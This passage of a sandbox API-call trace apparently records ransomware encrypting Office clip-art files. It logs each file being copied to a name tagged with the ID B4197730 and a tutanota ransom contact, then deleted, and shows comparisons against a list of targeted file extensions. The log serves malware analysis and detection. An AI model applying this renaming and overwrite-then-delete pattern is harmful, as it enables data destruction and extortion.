lpBuffer=0x3f5b020*, lpNumberOfBytesRead=0x339fecc*=0x0, lpOverlapped=0x0) returned 1 [0093.739] WriteFile (in: hFile=0x398, lpBuffer=0x3f5b020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x339fc94, lpOverlapped=0x0 | out: lpBuffer=0x3f5b020*, lpNumberOfBytesWritten=0x339fc94*=0xec, lpOverlapped=0x0) returned 1 [0093.739] SetEndOfFile (hFile=0x398) returned 1 [0093.739] CloseHandle (hObject=0x398) returned 1 [0093.739] SetFilePointerEx (in: hFile=0x354, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x339fec0 | out: lpNewFilePointer=0x0) returned 1 [0093.739] SetEndOfFile (hFile=0x354) returned 1 [0093.740] CloseHandle (hObject=0x354) returned 1 [0093.740] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105282.WMF.id-B4197730.[notgoodnews@tutanota.com].NEWS", dwFileAttributes=0x220) returned 1 [0093.740] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105282.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0105282.wmf")) returned 1 [0093.740] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105282.WMF") returned 68 [0093.740] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105282.WMF") returned 68 [0093.740] lstrlenW (lpString=".doc") returned 4 [0093.740] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0093.740] lstrlenW (lpString=".docx") returned 5 [0093.740] lstrcmpiW (lpString1=".docx", lpString2="2.WMF") returned -1 [0093.740] lstrlenW (lpString=".pdf") returned 4 [0093.741] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0093.741] lstrlenW (lpString=".xls") returned 4 [0093.741] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0093.741] lstrlenW (lpString=".xlsx") returned 5 [0093.741] lstrcmpiW (lpString1=".xlsx", lpString2="2.WMF") returned -1 [0093.741] lstrlenW (lpString=".ppt") returned 4 [0093.741] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0093.741] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105282.WMF") returned 68 [0093.741] lstrlenW (lpString=".zip") returned 4 [0093.741] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0093.741] lstrlenW (lpString=".rar") returned 4 [0093.741] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0093.741] lstrlenW (lpString=".bz2") returned 4 [0093.741] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0093.741] lstrlenW (lpString=".7z") returned 3 [0093.741] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0093.741] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105282.WMF") returned 68 [0093.741] lstrlenW (lpString=".dbf") returned 4 [0093.741] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0093.741] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105282.WMF") returned 68 [0093.741] lstrlenW (lpString=".1cd") returned 4 [0093.741] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0093.741] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105282.WMF") returned 68 [0093.741] lstrlenW (lpString=".jpg") returned 4 [0093.741] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0093.741] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105282.WMF") returned 68 [0093.741] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105282.WMF") returned 68 [0093.741] lstrlenW (lpString=".doc") returned 4 [0093.741] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0093.741] lstrlenW (lpString=".docx") returned 5 [0093.741] lstrcmpiW (lpString1=".docx", lpString2="2.WMF") returned -1 [0093.741] lstrlenW (lpString=".pdf") returned 4 [0093.741] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0093.741] lstrlenW (lpString=".xls") returned 4 [0093.741] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0093.741] lstrlenW (lpString=".xlsx") returned 5 [0093.742] lstrcmpiW (lpString1=".xlsx", lpString2="2.WMF") returned -1 [0093.742] lstrlenW (lpString=".ppt") returned 4 [0093.742] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0093.742] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105282.WMF") returned 68 [0093.742] lstrlenW (lpString=".zip") returned 4 [0093.742] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0093.742] lstrlenW (lpString=".rar") returned 4 [0093.742] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0093.742] lstrlenW (lpString=".bz2") returned 4 [0093.742] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0093.742] lstrlenW (lpString=".7z") returned 3 [0093.742] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0093.742] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105282.WMF") returned 68 [0093.742] lstrlenW (lpString=".dbf") returned 4 [0093.742] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0093.742] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105282.WMF") returned 68 [0093.742] lstrlenW (lpString=".1cd") returned 4 [0093.742] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0093.742] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105282.WMF") returned 68 [0093.742] lstrlenW (lpString=".jpg") returned 4 [0093.742] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0093.742] lstrcmpiW (lpString1=".WMF", lpString2=".NEWS") returned 1 [0093.742] lstrlenW (lpString="J0105288.WMF") returned 12 [0093.742] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105288.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0105288.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x354 [0093.743] GetFileSizeEx (in: hFile=0x354, lpFileSize=0x339ff14 | out: lpFileSize=0x339ff14*=15832) returned 1 [0093.743] CloseHandle (hObject=0x354) returned 1 [0093.744] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105288.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0105288.wmf")) returned 0x220 [0093.744] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105288.WMF.id-B4197730.[notgoodnews@tutanota.com].NEWS" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0105288.wmf.id-b4197730.[notgoodnews@tutanota.com].news")) returned 0xffffffff [0093.744] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105288.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0105288.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x354 [0093.745] SetFilePointerEx (in: hFile=0x354, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x339fec0 | out: lpNewFilePointer=0x0) returned 1 [0093.745] SetFilePointerEx (in: hFile=0x354, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x339fec0 | out: lpNewFilePointer=0x0) returned 1 [0093.745] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105288.WMF.id-B4197730.[notgoodnews@tutanota.com].NEWS" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0105288.wmf.id-b4197730.[notgoodnews@tutanota.com].news"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x398 [0093.745] GetLastError () returned 0x0 [0093.745] ReadFile (in: hFile=0x354, lpBuffer=0x3f5b020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x339fecc, lpOverlapped=0x0 | out: lpBuffer=0x3f5b020*, lpNumberOfBytesRead=0x339fecc*=0x3dd8, lpOverlapped=0x0) returned 1 [0093.747] WriteFile (in: hFile=0x398, lpBuffer=0x3f5b020*, nNumberOfBytesToWrite=0x3de0, lpNumberOfBytesWritten=0x339fc94, lpOverlapped=0x0 | out: lpBuffer=0x3f5b020*, lpNumberOfBytesWritten=0x339fc94*=0x3de0, lpOverlapped=0x0) returned 1 [0093.748] ReadFile (in: hFile=0x354, lpBuffer=0x3f5b020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x339fecc, lpOverlapped=0x0 | out: lpBuffer=0x3f5b020*, lpNumberOfBytesRead=0x339fecc*=0x0, lpOverlapped=0x0) returned 1 [0093.748] WriteFile (in: hFile=0x398, lpBuffer=0x3f5b020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x339fc94, lpOverlapped=0x0 | out: lpBuffer=0x3f5b020*, lpNumberOfBytesWritten=0x339fc94*=0xec, lpOverlapped=0x0) returned 1 [0093.748] SetEndOfFile (hFile=0x398) returned 1 [0093.748] CloseHandle (hObject=0x398) returned 1 [0093.748] SetFilePointerEx (in: hFile=0x354, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x339fec0 | out: lpNewFilePointer=0x0) returned 1 [0093.748] SetEndOfFile (hFile=0x354) returned 1 [0093.759] CloseHandle (hObject=0x354) returned 1 [0093.759] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105288.WMF.id-B4197730.[notgoodnews@tutanota.com].NEWS", dwFileAttributes=0x220) returned 1 [0093.759] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105288.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0105288.wmf")) returned 1 [0093.760] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105288.WMF") returned 68 [0093.760] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105288.WMF") returned 68 [0093.760] lstrlenW (lpString=".doc") returned 4 [0093.760] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0093.760] lstrlenW (lpString=".docx") returned 5 [0093.760] lstrcmpiW (lpString1=".docx", lpString2="8.WMF") returned -1 [0093.760] lstrlenW (lpString=".pdf") returned 4 [0093.760] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0093.760] lstrlenW (lpString=".xls") returned 4 [0093.760] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0093.760] lstrlenW (lpString=".xlsx") returned 5 [0093.760] lstrcmpiW (lpString1=".xlsx", lpString2="8.WMF") returned -1 [0093.760] lstrlenW (lpString=".ppt") returned 4 [0093.760] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0093.760] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105288.WMF") returned 68 [0093.760] lstrlenW (lpString=".zip") returned 4 [0093.760] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0093.760] lstrlenW (lpString=".rar") returned 4 [0093.760] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0093.760] lstrlenW (lpString=".bz2") returned 4 [0093.760] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0093.760] lstrlenW (lpString=".7z") returned 3 [0093.760] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0093.760] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105288.WMF") returned 68 [0093.760] lstrlenW (lpString=".dbf") returned 4 [0093.760] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0093.760] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105288.WMF") returned 68 [0093.760] lstrlenW (lpString=".1cd") returned 4 [0093.760] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0093.761] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105288.WMF") returned 68 [0093.761] lstrlenW (lpString=".jpg") returned 4 [0093.761] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0093.761] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105288.WMF") returned 68 [0093.761] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105288.WMF") returned 68 [0093.761] lstrlenW (lpString=".doc") returned 4 [0093.761] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0093.761] lstrlenW (lpString=".docx") returned 5 [0093.761] lstrcmpiW (lpString1=".docx", lpString2="8.WMF") returned -1 [0093.761] lstrlenW (lpString=".pdf") returned 4 [0093.761] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0093.761] lstrlenW (lpString=".xls") returned 4 [0093.761] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0093.761] lstrlenW (lpString=".xlsx") returned 5 [0093.761] lstrcmpiW (lpString1=".xlsx", lpString2="8.WMF") returned -1 [0093.761] lstrlenW (lpString=".ppt") returned 4 [0093.761] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0093.761] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105288.WMF") returned 68 [0093.761] lstrlenW (lpString=".zip") returned 4 [0093.761] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0093.761] lstrlenW (lpString=".rar") returned 4 [0093.761] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0093.761] lstrlenW (lpString=".bz2") returned 4 [0093.761] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0093.761] lstrlenW (lpString=".7z") returned 3 [0093.761] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0093.761] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105288.WMF") returned 68 [0093.761] lstrlenW (lpString=".dbf") returned 4 [0093.761] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0093.761] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105288.WMF") returned 68 [0093.761] lstrlenW (lpString=".1cd") returned 4 [0093.761] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0093.761] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105288.WMF") returned 68 [0093.761] lstrlenW (lpString=".jpg") returned 4 [0093.761] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0093.762] lstrcmpiW (lpString1=".WMF", lpString2=".NEWS") returned 1 [0093.762] lstrlenW (lpString="J0105292.WMF") returned 12 [0093.762] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105292.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0105292.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x354 [0093.762] GetFileSizeEx (in: hFile=0x354, lpFileSize=0x339ff14 | out: lpFileSize=0x339ff14*=14868) returned 1 [0093.762] CloseHandle (hObject=0x354) returned 1 [0093.762] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105292.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0105292.wmf")) returned 0x220 [0093.762] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105292.WMF.id-B4197730.[notgoodnews@tutanota.com].NEWS" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0105292.wmf.id-b4197730.[notgoodnews@tutanota.com].news")) returned 0xffffffff [0093.762] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105292.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0105292.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x354 [0093.763] SetFilePointerEx (in: hFile=0x354, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x339fec0 | out: lpNewFilePointer=0x0) returned 1 [0093.763] SetFilePointerEx (in: hFile=0x354, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x339fec0 | out: lpNewFilePointer=0x0) returned 1 [0093.763] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105292.WMF.id-B4197730.[notgoodnews@tutanota.com].NEWS" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0105292.wmf.id-b4197730.[notgoodnews@tutanota.com].news"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x398 [0093.769] GetLastError () returned 0x0 [0093.769] ReadFile (in: hFile=0x354, lpBuffer=0x3f5b020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x339fecc, lpOverlapped=0x0 | out: lpBuffer=0x3f5b020*, lpNumberOfBytesRead=0x339fecc*=0x3a14, lpOverlapped=0x0) returned 1 [0093.771] WriteFile (in: hFile=0x398, lpBuffer=0x3f5b020*, nNumberOfBytesToWrite=0x3a20, lpNumberOfBytesWritten=0x339fc94, lpOverlapped=0x0 | out: lpBuffer=0x3f5b020*, lpNumberOfBytesWritten=0x339fc94*=0x3a20, lpOverlapped=0x0) returned 1 [0093.774] ReadFile (in: hFile=0x354, lpBuffer=0x3f5b020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x339fecc, lpOverlapped=0x0 | out: lpBuffer=0x3f5b020*, lpNumberOfBytesRead=0x339fecc*=0x0, lpOverlapped=0x0) returned 1 [0093.774] WriteFile (in: hFile=0x398, lpBuffer=0x3f5b020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x339fc94, lpOverlapped=0x0 | out: lpBuffer=0x3f5b020*, lpNumberOfBytesWritten=0x339fc94*=0xec, lpOverlapped=0x0) returned 1 [0093.774] SetEndOfFile (hFile=0x398) returned 1 [0093.774] CloseHandle (hObject=0x398) returned 1 [0093.775] SetFilePointerEx (in: hFile=0x354, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x339fec0 | out: lpNewFilePointer=0x0) returned 1 [0093.775] SetEndOfFile (hFile=0x354) returned 1 [0093.982] CloseHandle (hObject=0x354) returned 1 [0094.009] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105292.WMF.id-B4197730.[notgoodnews@tutanota.com].NEWS", dwFileAttributes=0x220) returned 1 [0094.009] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105292.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0105292.wmf")) returned 1 [0094.010] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105292.WMF") returned 68 [0094.010] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105292.WMF") returned 68 [0094.010] lstrlenW (lpString=".doc") returned 4 [0094.010] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0094.010] lstrlenW (lpString=".docx") returned 5 [0094.010] lstrcmpiW (lpString1=".docx", lpString2="2.WMF") returned -1 [0094.010] lstrlenW (lpString=".pdf") returned 4 [0094.010] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0094.010] lstrlenW (lpString=".xls") returned 4 [0094.010] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0094.010] lstrlenW (lpString=".xlsx") returned 5 [0094.010] lstrcmpiW (lpString1=".xlsx", lpString2="2.WMF") returned -1 [0094.010] lstrlenW (lpString=".ppt") returned 4 [0094.010] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0094.010] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105292.WMF") returned 68 [0094.010] lstrlenW (lpString=".zip") returned 4 [0094.010] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0094.010] lstrlenW (lpString=".rar") returned 4 [0094.010] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0094.010] lstrlenW (lpString=".bz2") returned 4 [0094.010] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0094.010] lstrlenW (lpString=".7z") returned 3 [0094.010] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0094.010] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105292.WMF") returned 68 [0094.010] lstrlenW (lpString=".dbf") returned 4 [0094.010] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0094.010] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105292.WMF") returned 68 [0094.010] lstrlenW (lpString=".1cd") returned 4 [0094.010] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0094.011] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105292.WMF") returned 68 [0094.011] lstrlenW (lpString=".jpg") returned 4 [0094.011] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0094.011] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105292.WMF") returned 68 [0094.011] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105292.WMF") returned 68 [0094.011] lstrlenW (lpString=".doc") returned 4 [0094.011] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0094.011] lstrlenW (lpString=".docx") returned 5 [0094.011] lstrcmpiW (lpString1=".docx", lpString2="2.WMF") returned -1 [0094.011] lstrlenW (lpString=".pdf") returned 4 [0094.011] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0094.011] lstrlenW (lpString=".xls") returned 4 [0094.011] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0094.011] lstrlenW (lpString=".xlsx") returned 5 [0094.011] lstrcmpiW (lpString1=".xlsx", lpString2="2.WMF") returned -1 [0094.011] lstrlenW (lpString=".ppt") returned 4 [0094.011] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0094.011] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105292.WMF") returned 68 [0094.011] lstrlenW (lpString=".zip") returned 4 [0094.011] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0094.011] lstrlenW (lpString=".rar") returned 4 [0094.011] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0094.011] lstrlenW (lpString=".bz2") returned 4 [0094.011] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0094.011] lstrlenW (lpString=".7z") returned 3 [0094.011] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0094.011] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105292.WMF") returned 68 [0094.011] lstrlenW (lpString=".dbf") returned 4 [0094.011] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0094.011] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105292.WMF") returned 68 [0094.011] lstrlenW (lpString=".1cd") returned 4 [0094.011] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0094.011] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105292.WMF") returned 68 [0094.011] lstrlenW (lpString=".jpg") returned 4 [0094.011] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0094.012] lstrcmpiW (lpString1=".WMF", lpString2=".NEWS") returned 1 [0094.012] lstrlenW (lpString="J0105384.WMF") returned 12 [0094.012] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105384.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0105384.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x354 [0094.012] GetFileSizeEx (in: hFile=0x354, lpFileSize=0x339ff14 | out: lpFileSize=0x339ff14*=5880) returned 1 [0094.012] CloseHandle (hObject=0x354) returned 1 [0094.012] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105384.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0105384.wmf")) returned 0x220 [0094.012] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105384.WMF.id-B4197730.[notgoodnews@tutanota.com].NEWS" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0105384.wmf.id-b4197730.[notgoodnews@tutanota.com].news")) returned 0xffffffff [0094.012] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105384.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0105384.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x354 [0094.012] SetFilePointerEx (in: hFile=0x354, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x339fec0 | out: lpNewFilePointer=0x0) returned 1 [0094.012] SetFilePointerEx (in: hFile=0x354, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x339fec0 | out: lpNewFilePointer=0x0) returned 1 [0094.012] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105384.WMF.id-B4197730.[notgoodnews@tutanota.com].NEWS" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0105384.wmf.id-b4197730.[notgoodnews@tutanota.com].news"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x370 [0094.013] GetLastError () returned 0x0 [0094.013] ReadFile (in: hFile=0x354, lpBuffer=0x3f5b020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x339fecc, lpOverlapped=0x0 | out: lpBuffer=0x3f5b020*, lpNumberOfBytesRead=0x339fecc*=0x16f8, lpOverlapped=0x0) returned 1 [0094.015] WriteFile (in: hFile=0x370, lpBuffer=0x3f5b020*, nNumberOfBytesToWrite=0x1700, lpNumberOfBytesWritten=0x339fc94, lpOverlapped=0x0 | out: lpBuffer=0x3f5b020*, lpNumberOfBytesWritten=0x339fc94*=0x1700, lpOverlapped=0x0) returned 1 [0094.016] ReadFile (in: hFile=0x354, lpBuffer=0x3f5b020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x339fecc, lpOverlapped=0x0 | out: lpBuffer=0x3f5b020*, lpNumberOfBytesRead=0x339fecc*=0x0, lpOverlapped=0x0) returned 1 [0094.016] WriteFile (in: hFile=0x370, lpBuffer=0x3f5b020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x339fc94, lpOverlapped=0x0 | out: lpBuffer=0x3f5b020*, lpNumberOfBytesWritten=0x339fc94*=0xec, lpOverlapped=0x0) returned 1 [0094.016] SetEndOfFile (hFile=0x370) returned 1 [0094.016] CloseHandle (hObject=0x370) returned 1 [0094.016] SetFilePointerEx (in: hFile=0x354, liDistanceToMove=0x0, 